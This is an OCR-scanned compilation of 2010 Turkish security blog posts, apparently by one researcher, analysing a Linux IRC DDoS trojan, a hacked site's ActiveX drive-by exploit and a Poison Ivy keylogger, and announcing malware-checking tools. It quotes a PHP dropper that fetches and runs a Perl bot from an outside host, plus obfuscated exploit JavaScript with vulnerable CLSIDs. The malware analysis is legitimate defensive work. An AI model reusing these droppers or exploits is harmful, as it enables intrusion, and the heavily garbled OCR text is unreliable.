ClamAYV antiviriis yazilimi ile ilgili klasor ilizerinde yaptigimiz tarama sonug veriyor ve trojanin bu klasor iginde bulundugu netlik
kazaniyor.

root@bt: # clamscan svar-swwu-smaker/info

LIibCLAMAU WArTiInig i 5655606000663 6.3 3 36 36 36 36.36-3.36 336 36 36 36 36 3636 3636336 336 36 36 36 36 3636 36 36 336 1.3 36 36 36 36 36 36
LibClanAV Warning: === The virus database is older than 7 days? ssex
LibClamAV Warning: sexs Please update it as soon as possible. e
LIibCLAMAU WArTiInig i 5656560650066 5363 3 36 36 36 3636 3.36 336 36 36 36 36 3636 3636 336 336 36 36 36 36 36 36 36 36 .36 1.3 36 36 36 36 36 3¢
svarsuuusnakersinfosspd.php: PHP .Downloader-4 FOUND
svarsuwwusnakersinfosrdl.txt: Trojan.IRCBot-1142 FOUND
svar/wwwsnaker/infosrobot.php: PHP.Shell FOUND

SCAN SUMMARY
Enown viruses: 465915
Engine version: 0.94.2
Scanned directories: 1
Scanned files: 3
Infected files: 3
Data scanned: 0.12 HB
Time: 7.166 sec (O m 7 s)
root@bt: H# _
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£php

echo exec('cd stmp:curl -o http:/sgoodfilter.net/maker/inforrdl.txt:perl rdl.tx
tirm —rf rdl.txt’);

echo exec('cd /tmp:GET http:r-sgoodfilter.netsmakersinforrdl. txt:perl rdl.txt:rn
-rf rdl.txt’);

echo exec('cd stmp:uget http:- - goodfilter.netsmakersinforrdl.txt:perl rdl.txt:r
m -rf rdl.txt’);

echo exec('cd stmp:fetch http:-/-goodfilter.netsmakersinforrdl.txt:perl rdl.txt:
rn —rf rdl.txt'):

echo exec('cd tmp:lup-download http: sgoodfilter.netsmakersinforsrdl.txt:perl r
dl.txt;rm -rf rdl.txt’');

echo passthru('cd stmp:fetch http://goodfilter.netsmaker/inforrdl.txt:perl rdl.

txt;rm -rf rdl.txt');

echo passthru('cd tmp:uget http://goodfilter.netsmakersinfosrdl.txt;perl rdl.t

xtirm -rf rdl.txt’);

echo passthru('cd /tmp:curl -o http:/,/goodfilter.net/maker/inforsrdl.txt:perl rd
1.txt:rm —-rf rdl.txt');

echo passthru('cd -tmp:GET http:--goodfilter.netsmakersinforrdl.txt.txt:perl rd
l.txt:rm -rf rdl.txt’):

echo passthru(’'cd -tmp:lup-download http:- - goodfilter.netsmakersinfosrdl. txt:pe

rl rdl.txt:rm -rf rdl.txt’):

echo system('cd tmp:curl -o http:r-goodfilter.netsmakersinforrdl.txt:perl rdl.

txt;rm -rf rdl.txt');

"suarsuwwusnakersinfosspd . php” 23 lines, 2058 characters

GNU nano 2.0.7 File: rdl.txt

use I0::Socket::INET:
use HTTP: :Request:
use LWP::UserfAgent:

my @ps = ("susr/sbin/httpd”," usr-localrsapachesbin/httpd -DSSL","/sbin/syslogd"$
Sprocesso = $pslrand scalar @psl;
my $linas_max='10";
Szlee o
Radns Deddi"):
Bcanais="#NetWork":
= ("cRcil",

"cRcilo",

[ Read 1095 lines 1
i Get Help @1 UriteOut @ Read File @Y Prev Page @ Cut Text @ Cur Pos
Exit il Justify Where Is ] Next Page UnCut Textpgy To Spell

Yukarida yer alan son ekran goriintiisiinde rdl.txt dosyasina herhangi bir metin editorii ile baktigimizda ise bunun bir ddos botu oldugu
ve "ps ax" komutunun ¢iktisinda zararli yazilimin neden "/usr/bin/httpd" olarak goriildiigii anlasiliyordu.

Internet iizerinden bulmus oldugum bir trojan (ddos saldiris1 gergeklestirme 6zelligine sahip) ile olusturmus oldugum &rnek bir senaryo
iizerinden giderek sizlere basitte olsa Linux igletim sistemi {izerinde nasil zararli yazilim izi siirebileceginizi kisaca anlatmaya calistim,
umarim faydali olmustur.

Bir sonraki yazida goriismek dilegiyle...

DNS Cozumleme Araci

Source: https://www.mertsarica.com/dns-cozumleme-araci/
By M.S on September 26th, 2010

=%

Gectigimiz ay Tiirkiye'de tespit edilen zararli siteleri Twitter / Friendfeed {izerinden yayinlayan ufak bir program hazirlamistim.

Zaman zaman tespit edilen bu siteler lizerinde yer alan zararli yazilimlar1 inceleyerek durum degerlendirmesi yapryorum. Gegtigimiz
glinlerde yine rastgele segtigim bir site lizerinde yer alan zararli bir yazilima géz atmaya karar verdim.
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(PP Hack4Career

PRI [Zararl URL] - hittp//
about 16 hours ago

nw_barbourclub.com/cache/ - 25.9.2010
lalware Duyuru

Hack4Career

PRI [7ararli URL] - http:/fwww.barbour-club.com/cache/java.exe - 25.9.2010
about 16 hours ago Malware Duyuru
(PP Hackd4Career
PN (7ararll URL] - http://www.barbour-club.com/cache/javaZ exe - 25.9.2010
about 16 hours ago Malware Duyuru

Archive.org sitesine gore yillardir yapim agamasinda olan ve tizerinde Joomla portal kurulu olan bu site muhtemelen zaman iginde
giivenlik yamalarinin yiiklenmemesi nedeniyle art niyetki kisiler tarafindan Google iizerinden tespit edilerek istismar edildi ve zararli
kod yaymak amaciyla kullanilan bir zombie sunucu haline geldi.

Daha once karsilastigim zararli yazilim yayan sitelerin ¢ogunun kaynak kodunda imzalanmamis Java applet kodu bulunurken bu defa
applet'e ilave olarak birden fazla ActiveX GUIDIler'inin kaynak koduna eklenmis oldugunu farkettim.

C M © view-source www barbour-club.com/cache/

1| <htmls
<hody>

(]

7 w3cript types"text/javascript”™ language="javascript™s

0 wvar izz = false;

11 war uri = 'http://wuw.barbour-club.com/ cache/ java.exe' ;

12| wvar za = 'ting.FileS':

14|wvar =z = 'plication';

15| wvar shellapp = 'Shell.ip'+z;

6 war z01 "rx20%3D0%200.Creat' +'eChject: '+ 280529

17| war z02 "r520%3D%52Z00.Creat'+'eCbjects28n%s '+ SC520% 22522529

"r%20%3D%200.Create' +'Chject28n%aC +' $E0%22%2%2C320%22%22%29";
"r%20%3D0%200.GetOb' +' Ject3E8% '+ 2E2%22%2C%20n%29";
"r%20%3D%200.GetObject28ns ' +' ZCEE0%522%22%29";
"r%20%3D%2'+'00.GetlbjectsEiEns29";

18 wvar =z03
19 var z04
0 war z05S
1 war z06

wvar al = 'ADO';
4| var a2 = 'DB.';
| var a3 = !'3tr';
| var at = 'eam';

@ war oh]j_t = new Array(

29 'BDOE'+' CE56-654'+'3-11D0-983 '+' A-00C0!' +' 4FCZOE36' ,
30 ' ABSECED'+'D-EC'+'7E-47E1-9322-D'+'4A210617116",

31 '0006F'+'033-0000-0000-C000-00000"'+' 0000046,

32 '0006F03 A-0000-00" +' 00-CO00-000000000046" ,

33 '6e3E2070a-766d-4eeb-579c—dol' +' fa9ldafel !,

34 '64145126-E975-451D-A0DE-F' +' CFDF33ES33C',

35 'TFSE7'+'FE3-FOGF-43'+'31-8BA'+'26-3359'+' EQO3COLESD!' ,
36 '067E3ED9-F4'+' C2-43c5-5356-09F'+' CD1DEOYEE',

37 '639F7EZSF-1B2' +' D-4831-A9FD-57458' +' 47652 '+' 010",

38 'BAD1S' +'5959-1DE3-44f9-5364-461454C8"' +' 4EFE',

39 'DOCO7DES6E +' =7C'+' 659-43'+' F1-B4A0-25'+' FSA11FAELS' ,
40 'ESCCCDDF-C' +' AZ26-496h-B050-6C' +' 07C962476E") ;

# Patched [ 'MS06-014 - RDS.DataSpace', { 'CLSID' => '{BD96C556-65A3-11D0-983A-00C04FC29E36}'} ], # Found in mpack
[ ™MS06-014 - RDS.DataSpace', { 'CLSID' => '{BD96C556-65A3-11D0-983A-00C04FC29E30}'} ], # Patched [ 'MS06-073 -
WMIScriptUtils. WMIObjectBroker2.1', { 'CLSID' => '{7F5B7F63-F06F-4331-8A26-339E03COAE3D}'} ], # These are restricted
by site (might be exploitable via DNS spoofing + SSL fun) [ 'UNKNOWN - SoftwareDistribution.MicrosoftUpdateWebControl.1',
{ 'CLSID' => '{6e32070a-766d-4ee6-879¢c-dc1fa91d2fc3}'} ], [ 'UNKNOWN - SoftwareDistribution.WebControl.1', { 'CLSID'
=> '{6414512B-B978-451D-A0D8-FCFDF33E833C}'} ], # Visual Studio components, not marked as safe [ 'UNKNOWN
- VsmIDE.DTE', { 'CLSID' => '{06723E09-F4C2-43¢8-8358-09FCD1DB0766}'} ], [ 'UNKNOWN - DExplore.AppObj.8.0',
{ 'CLSID' => '{639F725F-1B2D-4831-A9FD-874847682010}'t ], [ 'UNKNOWN - VisualStudio.DTE.8.0', { 'CLSID'
=> '{BA018599-1DB3-44{9-83B4-461454C84BF8}'} ], [ 'UNKNOWN - Microsoft.DbgCIlr.DTE.8.0', { 'CLSID' =>
'{DOC07D56-7C69-43F1-B4A0-25F5SA11FAB19}'} ], [ 'UNKNOWN - VsalDE.DTE', { 'CLSID' => '{E8CCCDDF-CA28-496b-
B050-6C07C962476B}'} |, # # The controls below can launch the "installing component”" dialogs... # # Not marked as safe
[ 'UNKNOWN - Business Object Factory ', { 'CLSID' =>"'{ABIBCEDD-EC7E-47E1-9322-D4A210617116}'} ], # Not marked as safe
[ 'UNKNOWN - Outlook Data Object', { 'CLSID'=>"{0006F033-0000-0000-C000-000000000046}'} 1, # Found exploitable in the wild
(no details) [ 'UNKNOWN - Outlook.Application', { 'CLSID' =>"'{0006F03 A-0000-0000-C000-000000000046}'} 1,

GUID'ler Metasploit'ten tanidik geldigi igin ufak bir arastirma sonucunda bunlarin zafiyet igeren ActiveX GUIDler'i oldugu ve sayfanin
bu ActiveX zafiyetlerinden bir tanesini istismar ederek kullanicinin sistemine Java.exe adindaki zararli yazilimi indirmek ve galistirmak
iizere hazirlanmis oldugunu anlamam pek zor olmadi.
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Java.exe dosyasimna ilk olarak HEX editor ile goz attigimda UPX ile paketlendigi hemen anlasiliyordu. Zararli yazilimi paketten
¢ikarttiktan sonra (baska bir yazimda paketten ¢ikarma islemini anlatmistim) statik diziler (string) belirgin hale gelmisti. Zararli yazilim1
calistirmadan dnce Winalysis ile sistemin kopyasini (snapshot) aldiktan hemen sonra Wireshark programini ¢aligtirip trafigi izlemeye
basladim ve daha sonra Java.exe programini galistirdim. Winalysis ile tekrar sistemin kopyasini alip bir dnceki ile kargilagtirdigimda
svchost32 ve svchost32.exe adinda iki dosyanin SYSTEM32 klasorii altina kopyalandigini gordiim.

" Winalysis - [\WWMERT-6756 361 Changes - C:\WINDOWS\System32]

% Be Action Took View Window Help - %

2 fud & L] xl (=g = [0} L] % 3
Compufer  Save Pt Snapehot  Test  Confg  Ciksl Wamng Inlo | Al | Jobs

& WMERT-6756C 49361 Description Name [T —
=@ F"‘ @ riew Fle CIAWINDOWS\ System32|swchost 32 3

3 [i TS CHAWINDS chost32 exe 3
[LJc wanoowsisyatensz |

= 1@ rights

« V\MERT-67S6C49361
= [ scheduder

' Schedued Jobs
= & Services

¥ WnR

= ) Shares

«" Shared Drives and Prinkers
& jsmem

«" Version

«" Environment

« Account Policy

= n Users
+ \MERT-6756C49361
« \\MERT-67S6C49361

ot el

svchost32 dosyasin1 Wordpad ile agtigimda trojanin tus kayitlarini bu dosyaya kaydettigi anlasiliyordu.

B svchost32 - WordPad
Fie Edt Wew Insert Formst Help

Address |3 CAWINDOWS|system32 Dl ’m N B % ] 5o

Ot © 3 Powets 2 v

kfl OOOOOOMOBOEOSave AsytlgEntery
] OOOO00OOOO0O0V INDOUS fsystemigEinter s

System Tasks

i) Hide the contents of this svogum Zgghum BSygNum 2ggCtrlyOyl  ODODOOOOOOOGOProgram ManagerygCtrlgOgCurlgOyl  OODDDOOOD

E folder 5 OzOArchive name and parametersiytrojangEnterg

& Add or remove programs yo COOOOO0OO0ONDProgram ManageryyCtrigOyl  OODOOOOOOOO

2 Search For Fles or Folders : OVAware Accelerated AMD PCNet Adapter (Microsoft's Packet Scheduler) : Capturing - WiresharkygNum 2ggNum Bgyl OOD00000o

¥ OOOO0O0000O0™0C : | WINDOWUS\ systen32\ cmd. exeynmap 88.231,.194.191 -p 3458gBackspacep9sEntery
v DO0000000S0™0VHAware Accelerated AND PCNet Adapter (Microsoft's Packet Scheduler) : Capturing - Wiresharkyip.addr == 8

File and Folder Tasks s_c.dl ¢ OOO0000OO00CORunysgBackspacegmapaintgEnters
stimon. exe il OO000000000, OProgram Nanageryscer layl O00OODOOOO0>0untitled - PaintypCtrlgeCerlsOyl  DODOODOODADZOSave AsytrigEn

‘ Rierame this file ._ﬂﬁ.ubpct.d o 000000000 .0F0tel. JPG - PaintigCrrlsOyl 00000000020>0Save Asys GgsNum 1386 2gEnters
G Move thi fle S storage.dl $i O00000000$0a0Runyservices . macgEntery
D Copy thes File &) storprop.di ylfl DO00O000N0-080Servicesynmyl 000000000 - 0,0R gBack. gyBack gemdgEntery

.4l T OOOo00000
) Publsh thes finto the Web E‘;nﬂ(.' 1\ VINDOWS\ system32) cmd. exeyservicegEntersy
) E-mal this fie gNum BgsgEnters
W Delete this fie gNum 83 -listgEnterg

1) OOO00O00000al0Runyrgegh P 9 gsegeditgEntery
¥l DODODO0O000™0Registry EditorygNum 4ggium 4ggNum 4pgNum d4ggNum 63pNum ZggNum ZggNum 2gpNum Zgplum SpgNum SggNum SgpNum
§o 000000000 O]0tc3.JPG - PaintygcCorlgOyl 000000000

OO0Save AsygNum 6gpBackspacepdpEntery

yo 0000000 '010u0er 4. JPG - PaintygCrrlgOyl 0000000 '040
OSave Asyghum 6pgBackspacegSgEntersy

¥u OO00000"0 (0.0Applicationsysysgum 2ggNum S8ggEntery
ghium 2ggEnters

7 79 2gNum 593 BgpEntery
& >
For Help, press F1 i
19KB  Applcation 14.04.2008 15:00
16KB  Apphcation Extension  14,04,2008 15:00
36K Apphcation 14.04.2008 15:00
214KB  Active Control 14.04.2006 15:00
104KB  Applcation 14,04.2008 15:00

Wireshark iizerinde kayit altina alinan paketlere baktigimda trojan, domainsitesi.myvnc.com alan adini ¢6ziimliiyor ve ¢dziimlenen
88.231.194.191 ip adresine 3459 numarali baglant1 noktasindan baglanmaya galisiyordu. Baglanti noktasinin Poison IVY 'ninkine (3460)
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yakin olmasi ve bunun disinda tus kayit formati, mutex adinin ")!VogqA.I4" olmasi ve bir kag¢ benzer nokta nedeniyle bunun Poison IVY
sunucu dosyast olduguna kanaat getirdim ve detayl1 analiz i¢in vakit harcamadim.

Benim asil merak ettigim konu domainsitesi.myvnc.com alan adinin ¢éziimledigi ip adresinin erisilebilir olup olmadig1 ve bu alan adinin
ne kadar siklikla giincellenip giincellenmedigiydi. Erisilebilirligi kontrol etmek icin genellikle ip adresini pinglemek ve 3459 baglanti
noktasina baglanmak tercih edilebilir fakat bu gibi durumlarda deniz alt1 gibi derinden ve sessizce ilerlemek gerektigi igin tek yol belli
araliklarda hedef alan adin1 ¢6ziimlemek ve ip adresinin degisip degismedigini kontrol etmektir.

DNS gecmisi tutan internet siteleri lizerine yaptigim arastirmalar beni pek tatmin etmedigi icin ileride de ihtiya¢ duyabilecegimi hesaba
katarak belirli araliklarda hedef alan adin1 ¢6ziimleyen, bir dnceki ¢éziimleme sonucu ile kiyaslayan ve uyaran bir program hazirladim.

Programin adi DNS Checker ve kullanimi yine oldukga basit.
Programi kullanmak i¢in c¢alistirmaniz gereken 6rnek komutlar:

dns_checker.py www.mertsarica.com 5 -> Her 5 dakikada bir alan adin1 ¢oziimler ve kayit eder. dns_checker.py www.mertsarica.com
-> Siire belirtmediginiz taktirde saat basi alan adini ¢oziimler ve kayit eder.

ndows\system32\cmd.exe - dns_checke:

Checker [htt

oogle.com 289 135.1@
v .google .com 2@?.85.135.185%
@.google.com 2089 .85.135.185
w.google.com - 209.85.135.184
Change Detected?! (0ld: 289.85.135.184 — New: 289.85.135.185>

DNS Checker programinin kaynak koduna buradan ulasabilirsiniz.

Bir giin ihtiya¢ duymaniz durumunda faydalanabilmeniz dilegiyle herkese iyi haftalar dilerim.

VAD (Vbulletin Attachment Downloader)

Source: https://www.mertsarica.com/vad-vbulletin-attachment-downloader/
By M.S on September 17th, 2010

=3,

Gegtigimiz Temmuz aymda Stuxnet adindaki zararli yazilim (malware) .Ink ve .pif kisayol dosyalarindaki giivenlik agigindan
faydalanarak sistemler arasinda yayilmasi nedeniyle bir anda diinyanin giindemine oturdu. Zararl yazilimin bagariya ulagmasindaki en
biiyiik etkenlerden biri Oday giivenlik ag1g1 istismar ediyor olmasiydi fakat gectigimiz giinlerde Symantec tarafindan yayimlanan bir yaz1
analizlerin halen devam ettigini ve bu analizler neticesinde zararli yazilimin aslinda 1 degil tami1 tamina 4 adet Oday giivenlik agigini
istismar ettigini ortaya koyuyordu.

Goriinen o ki art niyetli kisiler her gecen giin ¢itay1 bir seviye daha yiikseltiyor, giivenlik uzmanlar1 i¢in isler biraz daha zorlasiyor,
analizler biraz daha karmasik bir hal aliyor ve bu nedenle bu tiir saldirilara ve olay sonrasi incelemelere hazirlikli olmak igin ne kadar
cok zararli yazilim incelenirse gergek bir saldirtya o kadar hazirlikli olunuyor.

Bu nedenden o6tiirii yerli ve yabanct hacking forumlarimi zaman zaman gezerek yayinlanan zararli yazilimlari incelemeye gayret
ediyorum. Gegtigimiz giinlerde yine bir hacking forumunu gezerken dikkatimi daha 6nce dikkat etmedigim bir ibare ¢ekti, "http://
novirusthanks.org disindaki tarama sitelerinde taratmayin diyoruz taratryorsunuz! 100 kere sdylenmesine karsin!"

Zararli yazilim olusturan art niyetli kisilerin en ¢ok c¢ekindikleri konu yazilimlarinin ger¢ek zamanh virlis taramasi gerceklestiren
web siteleri (virustotal, novirusthanks vb.) {izerinde taratilmalaridir. Nedeni ise bu siteler iizerinde taratilan tim yazilimlar antiviriis
iireticilerine gonderilmektedir. Ornek olarak Virustotal ve Novirusthanks sitelerinin kullanim sartlaria bakacak olursak bunu agik¢a
ifade ettiklerini gorebiliyoruz.

http://www.novirusthanks.org/terms.php

We may store (temporarily) the files that you send in our online-virus-scanner and the files that you submitted can be shared with
Anti-Malware and Security Companies that participate in our project generally if the file is detected by at least one Antivirus
Software that is present in the list of the engines.

http://www.virustotal.com/terms.html
Collection and use of submitted files and personal information
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When you submit a file to VirusTotal for scanning, we may store it and share it with the anti-malware and security industry
(normally the companies that participate in VirusTotal receive the samples that their engines do not detect and are catalogued as
malware by at least one other engine). The samples can be analysed by automatic tools and security analysts to detect malicious
code and to improve antivirus engines.

Teker teker hacking forumlarini gezmek ve zararli yazilimlari indirmek vakit alan bir is oldugu i¢in gegtigimiz giinlerde Python ile bu
isi otomatiklestirecek ufak bir program hazirlamaya karar verdim. Takip ettigim forumlarin cogu VBulletin forum kullandigi, eklenti
modiilii aktif oldugu ve ayrica Vbulletin'de eklentileri listeleyen ayr bir sayfa oldugu i¢in hazirlayacagim programa forum adresinin
belirtilmesi durumunda kullanici ad1 ve sifre ile giris yapmasi, eklenti sayfalarin teker teker gezmesi ve exe, zip, rar uzantilarina sahip
eklentileri tespit etmesi durumunda diske kaydetmesi yeterli olacakti fakat buna ilaveten opsiyonel olarak birde virus tarama sitelerinden
bir tanesine bu eklentileri yiiklemesi ve sonucu kayit altina almasinin herkes i¢in ¢ok daha iyi olacag diistincesiyle bunlarin tamamim
gerceklestiren bir program hazirlamaya bagladim.

Saatlerce programin iizerinde ¢aligtiktan sonra tamamlanmasina yakin bir zaman kala Python'da yer alan cookielib modiiliiniin isteklerimi
karsilamadigini farkettim. Urllib ile foruma belirttigim kullanici ad1 ve sifre ile giris yaptiktan sonra sonra ¢erezin (cookie) bir tiirlii
bir sonraki istekte gonderilmedigini farkettim ve {izerine bir yandan kafa yorar bir yandan aragtirma yaparken Mechanize adindaki o
miithis modiilii kesfettim.

Mechanize modiilii, bir web sitesi lizerinde urllib modiilii ile kolay olmayan fakat internet tarayicisi (web browser) ile olduk¢a kolay olan
islemleri (6rnegin form doldurma, baglantilar1 (links) ayristirmaya) gerceklestirmenizi saglayan olduk¢a ama oldukga faydali bir modiil.

Hazirlamis oldugum programu sil bastan mechanize destegi ile tekrar hazirladiktan sonra ortaya vad (vbulletin attachment downloader)
programi ¢ikiverdi. VAD"1n kullanimi hazirlamis oldugum diger tiim programlarimda oldugu gibi oldukga basit.

Eger hedef forum, eklenti indirebilmeniz igin kullanici ad1 ve sifre ile kimlik dogrulama gergeklestirmenizi istiyorsa yapmaniz gereken
programa -u ile kullanici adini, -p ile sifreyi belirtmek olacaktir. Eger diske kayit edilen her eklentinin ayrica Novirusthanks sitesinde
taratilmasini istiyorsaniz bu durumda programa -s parametresini belirtmeniz yeterli olacaktir.

Ornek olarak eger site kimlik dogrulamaya ihtiyag duymuyorsa ve diske kayit edilen tiim eklentileri taratmak istiyorsaniz galistirmaniz
gereken komut:
vad.py -h http://www.forum.com -s

Eger site kimlik dogrulamaya ihtiya¢ duyuyorsa ¢alistirmaniz gereken komut ise:
vad.py -h http://www.forum.com -u kullanici -p sifre -s

Programda ayrica kaldig1 yerden devam etme &zelligide bulunmaktadir bu sayede sadece yeni eklenen eklentileri indirmek i¢in tim
eklentilerin en bastan yiiklenmesine gerek kalmayacaktir. Viriis tarama sonuglari scan.txt adi altinda disk {izerine kayit edilmektedir.

Programi hazirlamamdaki amag hem kendi isimi gérmesi hemde bu siteler izerinden yayilan ve insanlart magdur edebilecek potansiyel
zararl yazilimlarin antiviriis Ureticileri tarafindan kolayca taninmasini saglamakti, umarim hem giivenlik uzmanlari hem de Python
severler i¢in faydali bir program olmustur.

Programin kaynak koduna buradan ulasabilirsiniz.

Bir sonraki yazida goriigmek dilegiyle herkese iyi haftasonlari dilerim.

Required arguments:
—h <URL> Forum URL <{Ex: http://www.mertsarica.comn/forumd

Optional arguments:
—u {username > Username for login phase (Ex: —u mert)
—p <password> Password for login phase (Ex: sarical

P
—= Send every attachment to NoUirusThanks (Ex: —-s)

C:xUszerssMertsDesktop mu_gather>y
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v G\ Windows \system32\cmd.exe - vad.py -h hittp:/ [wanw. —

[+]1 Resuming...
[+]1 URL: http: /I foruns /nizc . php?do=shovattachments&t=19346
[#*] Downloaded file: zodiac.zip
[x]1 Sent to MoVirusThanks — Status: CLEAN

Simple Malware Check Tool v1.2 Released!

Source: https://www.mertsarica.com/malware-check-tool-v1-1/
By M.S on September 5th, 2010

=

I released the first version of the program on March 25 and notified several information security related sites and Darknet was one of
them. At that time Darknet did not make any news but suddenly in last week, they changed their decision and made a news about a 6
months old software. It was old and got broken (online check was broken due to changes in Virustotal's site) in 6 months and I did not
have chance to fix bugs in a time. Recently massive download attempts forced me to fix bugs and release a new version.

Today I have released v1.2 which includes bug fixes. I highly recommend you to download and run the latest version.

Download Malware Check Tool v1.2

This program intends to detect a malicious file in two ways; online and offline.
It calculates the md5 hash of a specified file and searches it in its current hash set (offline) or on virustotal site (online) and show the result.

It has http proxy support and update (for hash set) feature.

Coded for fun so enjoy it :)
CHANGELOG

v1.2 - New Virustotal changes implemented.

v1.1 - Wrong implementation of md5 calculation fixed. (Credit goes to roynal [.] smith [@] gmail [.] com)

USAGE

python malware check.py update

* This command updates its current hash set (hashset.txt) by crawling threat information from http://www.avira.ro
* Hashset.txt includes virus name, virus type, md5 hash of the virus, severity and discovered date.

* If there is no hashset.txt file, it will visit http://www.avira.ro and start gathering virus name,vvirus type, virus md5, severity and
discovered date

* If there is a hashset.txt it just up to date its current hash set to the latest.
python malware check.py online malware.exe

e This command calculates the md5 hash of a specified file (ex: malware.exe), submits it to http://www.virustotal.com and then
shows the result.

python malware check.py offline malware.exe

¢ This command takes the md5 hash of the specified file (ex: malware.exe) and searches it in its current hash set (hashset.txt) and
then shows the result.
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Note: For http proxy support you have to edit malware check.py and modify the required fields as shown below.
proxy_info = {

'user' : 'username', # proxy username

'pass' : 'password', # proxy password

'host' : "proxy host", # proxy host

'port' : 8080 # proxy port

b
CONTACT

Author: Mert SARICA
Email: mert [ . ] sarica [ @ ] gmail [ . ] com

URL: http://www.mertsarica.com

SCREENSHOTS
[ch.| G\ Windows \system32\cmd.exe - malware_check.py

Simple Malware Check Tool [http://wuw.mertsarica.coml

[+]1 Please wait. checking & updating hash set: 33 hash left

[E+G\Windows\system32\cmd.exe §

Simple Malware Check Tool [http://wuw.mertsarica.coml

[+] Online md5 check: eicar.com {44d88612feaBaBf36deB2e1278abbB2f >
[+] Malware detected? [42-42]1 <188.88:>
[#] Malware names:
EICAR-ANTIUVIRUS-TESTFILE!IK
EICAR _Test_File
Eicar-Test—Signature
AUTESTEICAR.ETF
EICAR Test_File
EICAR Test
Eicar-Test—Signature
Teststring.Eicar
EICAR Test_File
EICAR Test_File
EICAR_TEST_FILE
EICAR-Test—-File
EICAR-ANTIVIRUS-TESTFILE
EICAR-Test—File
Eicar-Test-File
EICAR-Test-File
Virus.Eicar-Test—Signature
Virus:DOS/EICAR_Test_File
EICAR Test_file_not_a_wirus?
EICAR-Test-File
EICAR-AV-TEST-FILE
EICAR Test_File

EICAR
EICAR-Test—File
EICAR-AVU-Test
EICAR Test_File
Eicar_test_file
EICAR-Test—File
EICAR-test
EICAR test_file

[+] For more information you may visit: http:/swww.virustotal.comsanalisis~ 275a8|
21bbf h6482e54d471829f 7db?d1663fcb6?5ec2fe2a2c4538aabf651FdBf -1269457454

C:s\UserssMertsDesktopsMalware Check_Tool>_




[+]1 Offline md5 check: virus.exe (44d88612feaBaBf36de82el278abhB2f >

[+] Loaded 2225 md5 hashes
[+] Malware detected?
[+#] Malware name: Mydoom.CD
[#*] Type: g
[#*] Severity: Medium
[*] Date discovered: 2183280086

C:v\UszersMert Desktop\Malware_Check_Tool>

Zararh Siteler Artik Cebinizde :)

Source: https://www.mertsarica.com/zararli-siteler-artik-cebinizde/
By M.S on August 31st, 2010

=

Daha oncede paylastigim tizere uzun zamandan beri vakit buldukg¢a Certified Reverse Engineering Analyst (CREA) sertifika sinavina
hazirlanmaya calistyorum. Sinavin bir boliimii zararli yazilim analizinden olustugu i¢in sinava hazirlanma adma vakit buldukca yerli
mali zararl yazilimlar inceliyorum.

Gectigimiz giinlerde yine yerli mali zararl bir yazilim kesfetme gayesiyle yelken agtigim web sitelerinde aradigimi bulamadim ve kara
kara diisiinmeye basladim. Ellerimin bos kalmasiin sebebi yurdumda zararli kod yayan sitelerin azlig1 miydi yoksa bunlarin arama
motorlari tarafindan tespit edilmesi ve bellege alinmasi ile sitenin yayindan kaldirilmasi arasinda gecen siire mi ¢ok azd1 ?

Bunun disinda memleketimde zararli igerige sahip olan sitelerin halka ag¢ik olarak kayit altina alinmadigini farkettim ve hemen ise
koyuldum.

Bildiginiz lizere eskiden web siteleri san, sohret ve kitlelere sesini duyurmak isteyen korsanlar tarafindan hack edilirken giiniimiizde
bunlarimn yerini sitelere zararli kod yerlestiren ve bu siteleri ziyaret eden kullanicilart aglarina diisiiren art niyetli kisiler aldu.

Yola ¢ikis noktam sinava hazirlik olsada isin sosyal boyutu agir basti ve zararli kod yayan siteler konusunda ne kadar ¢ok insani haberdar
edebilirsem o kadar az magduriyet yasanir diyerek Python ile hem kendim igin hem de insanlar igin faydali olabilecegini diisiindiigiim
bir program hazirlamaya karar verdim.

Yaptigim ufak bir aragtirma neticesinde zararli kod yayan siteleri tespit eden ve alan adlarini yayinlayan fazla sayida halka agik site
oldugunu farkettim. Amacim sadece yerli mal: siteler oldugu igin halka agik bu siteleri gezen, sonuglari toplayan ve lokasyon olarak
sadece Tiirkiye'de barinan bu siteleri yayinlayan bir program olacakti. Giiniimiizde ¢ogu kiginin mobil cihazlar tizerinden Twitter'a ve
Friendfeed'e baglandigint g6z 6niinde bulundurarak bu siteler lizerinden insanlar1 haberdar etmenin daha hizli olacagini diisiindiim ve
ortaya zararl siteleri Twitter/Friendfeed lizerinden duyuran bir istemci programi ¢ikmis oldu.

Program saat basi bu siteleri ziyaret ederek zararli kod yayan yerel site adreslerini tespit edilme tarihi ile birlikte Twitter/Friendfeed
iizerinden yayinliyor.

Bu sitelerden haberdar olmak isteyenleriniz i¢in adres: http://twitter.com/hack4career veya http://friendfeed.com/hack4career

1Ze

-htm E;
= gulcu.org.tr/moodyll . html — 2.8
[Zararli URLI] HEZT azaret .org ng38.html — 2.8.2818
[Zararli URLI] =/784.51 .21 .67 “gncfrms/xv html — 9.8.2018
[Zararli URL] ://drogstar.comn/inages sed24_.html — 92.8.26018
[Zararli URLI] /v guncekoral .netstout51l . html - 18.8.20818
[Zararli URLI] :/stest.sozbilici.comsrockydl . html - 18.8.2818

TCKN’deki Tehlike

Source: https://www.mertsarica.com/tckndeki-tehlike/
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By M.S on August 25th, 2010

e

Niifus ve Vatandaslik Isleri Genel Miidiirliigii'niin sayfasinda yer alan bilgiye gore, T.C. Kimlik Numaras1 11 basamaktan olusan bir
numaradir. Son iki rakam1 dogrulama sayisidir. Bu son iki basamak ilk dokuz basamaktan bir algoritma ile hesaplanmaktadir. Dogrulama
say1sl1 algoritmasi, sadece bir numaranin tarafimizdan verilen bir T.C. Kimlik Numarasi1 olup olmadig1 hakkinda bilgi vermektedir. Bu
algoritma T.C. Kimlik numaralarinin dogrulugunu kontrol etmeleri i¢in diger kamu kurum ve kuruluslar1 ile de paylasilmaktadir.

Kredi kart: numarasi ise en az 16 en fazla 19 haneden olusan bir numaradir. {lk rakam kurulusun kategorisini (banka, havayolu, vs.) ,
sonraki 5 rakam kredi kart1 kurulugunu (visa, mastercard vs.) ve bankay1 sonraki 9 rakam ise banka tarafindan miigteriye 6zel iiretilen
bir sayidir. Son rakam ise dogrulama sayisidir.

Dogrulama sayisi igeren her numara bir algoritmaya gére iiretilmektedir. Ornegin kredi karti numaras1 Hans Peter Luhn tarafindan
yaratilan halka acik Luhn algoritmasina gore tiretilmektedir. Halka acik olmasi nedeniyle sizde bu algoritmaya gore gegerli bir kredi
kartt numarasi iiretebilir veya tiretilmis bir numaray1 dogrulayabilirsiniz.

Yazinin ilk paragrafini okuduktan sonra TCKN dogrulama algoritmasi sadece kamu kurum ve kuruluslari ile paylasildigi i¢in herhangi
bir kisi tarafindan TCKN iiretilmesinin miimkiin olamayacagini diislindiiniiz ve yanildiniz.

